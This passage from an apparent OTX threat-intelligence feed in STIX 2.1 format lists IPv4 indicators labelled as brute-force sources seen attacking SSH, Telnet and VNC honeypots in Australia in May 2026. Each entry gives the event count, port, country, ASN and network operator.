      "id": "indicator--719139e5-72b6-48c9-b19e-ffdfb43af373",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '169.211.128.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--d7a56309-e35f-4dff-9792-35af265b64d4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.252.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ffc8e8d4-2895-4340-98f7-8672a057d2d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.236.228.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda.",
      "id": "indicator--8454eba7-d5fd-42ab-9c34-cf0ad5dda516",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.81.70.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A..",
      "id": "indicator--992c844a-0133-407a-9b70-84b1e4534522",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.93.167.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 202619. Organisation(s): Dovecom LLC.",
      "id": "indicator--1402bf9a-5a49-48fc-9281-c32e75fdbd82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.33.142.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--44995eaf-d95e-4247-a384-48d918eac486",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.46.231.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 2519. Organisation(s): ARTERIA Networks Corporation.",
      "id": "indicator--ebfec44d-d6de-4f54-81d7-41d02dd40d8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.96.54.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--e7504330-b5d6-4e44-9dd8-36caa7c5a215",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '3.131.220.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 269832. Organisation(s): MDS TELECOM C.A..",
      "id": "indicator--f0f6038d-3508-4937-960d-5f84aaadc8b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.41.12.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--3accbb2b-e3b0-4199-b9ee-dfe978532d60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.15.152.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 3269. Organisation(s): TIM.",
      "id": "indicator--1aee118d-9af5-4264-9ce0-195c808637ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '79.55.76.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T05:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, 3**********4, a***n, ***. Passwords observed (masked): 3***********4, 3**********4, 4****9, 8******8, a********#.",
      "id": "indicator--bcb4aa49-9b29-43cd-a0dc-42ea60836f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T05:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '87.106.65.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:15:10.000Z",
      "valid_until": "2026-06-02T05:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 150042. Organisation(s): DAINIK SAVERA NET PRIVATE LIMITED.",
      "id": "indicator--4ddcc6aa-563e-4320-bf14-589ed64e71a1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.190.4.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 292. Sensors involved: Cowrie. Target ports: 23. Source country: LK. ASN(s): 9329. Organisation(s): Sri Lanka Telecom Internet.",
      "id": "indicator--3385c3f9-1122-4bbd-9fbf-b0597997dbd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.43.163.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: YT. ASN(s): 202023. Organisation(s): Scaleway SAS.",
      "id": "indicator--4b0de61f-95ee-4d2a-952f-16a5fba076ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '139.26.12.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1053. Sensors involved: Heralding. Target ports: 5900. Source country: US. ASN(s): 398019. Organisation(s): Dynu Systems Incorporated. Passwords observed (masked): f******l, f******2, e******i, e******t, f******l.",
      "id": "indicator--7401d085-e6af-4d53-9b64-fa5347e0d8fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.202.188.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 270172. Organisation(s): Guillermo Robles Ramirez.",
      "id": "indicator--0bb7ed29-bef6-471a-8b67-33e2f0b883fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.224.58.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--e18744bd-3285-47ca-a405-7fa7a3a2a65f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.121.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262424. Organisation(s): InterSoft Internet Software EIRELI.",
      "id": "indicator--db67f1ce-edf8-4f91-8b1b-b53375964506",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.44.134.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--28bdbe16-eb40-4cd7-8523-1689b8b34e27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.175.245.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--b8480fa0-5d3d-4c38-9049-e5b4b7d5ea5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.181.100.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45271. Organisation(s): Vodafone Idea Ltd.",
      "id": "indicator--b60b0256-5e7a-493c-b2df-a37b3482e249",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.97.169.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--82431746-aeb7-40e9-9b06-b9ea67908e84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.28.61.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t. Passwords observed (masked): J*******6.",
      "id": "indicator--b77779ca-01a6-491c-929f-582a58b172ad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.222.117.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 267823. Organisation(s): ATENEA TELECOMUNICACIONES S.A.S.",
      "id": "indicator--f1abf176-1b66-4aeb-bc29-7f1d8b6e94a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.173.12.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--25c2b6cf-8b9c-46d4-8f34-d595d84e5f5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.43.37.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 6805. Organisation(s): Telefonica Germany.",
      "id": "indicator--d3f66f98-88eb-422c-838a-52d9e2e9aca3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '46.114.181.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS.",
      "id": "indicator--2ad3b985-54c3-4d7d-8414-a0b9ad37504b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.167.200.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T06:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--abeea730-de5f-404e-a863-059ea30c5aec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T06:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '99.16.134.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:15:11.000Z",
      "valid_until": "2026-06-02T06:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 52. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 36926. Organisation(s): CKL1-ASN.",
      "id": "indicator--45af2433-8601-472b-8f65-c5be07e9d6a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.0.15.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 141225. Organisation(s): Doronto Information TechnologyDIT.",
      "id": "indicator--ea539040-d106-4a71-846c-081d225d8230",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.156.196.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--39c1ce4d-25d6-4cb8-9fdf-1f3c546540c3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.245.195.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28343. Organisation(s): UNIFIQUE TELECOMUNICACOES SA.",
      "id": "indicator--367d6c06-a412-4d94-af87-85bbb0642313",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.101.112.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--8cbe36e7-da24-449e-9e7a-fb04d3c8e87f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.218.125.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 394684. Organisation(s): GOLD DATA USA INC.",
      "id": "indicator--ac4c6ddb-6e1a-48c5-8f9b-7124e7eb3d25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.52.100.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:15:09.000Z",
      "valid_until": "2026-06-02T07:15:08.000Z"
    },
    {
      "created": "2026-05-01T07:15:09.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--3ba0f4e0-b0d9-42f6-939a-64ddf103d91a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T07:15:09.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '194.233.86.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
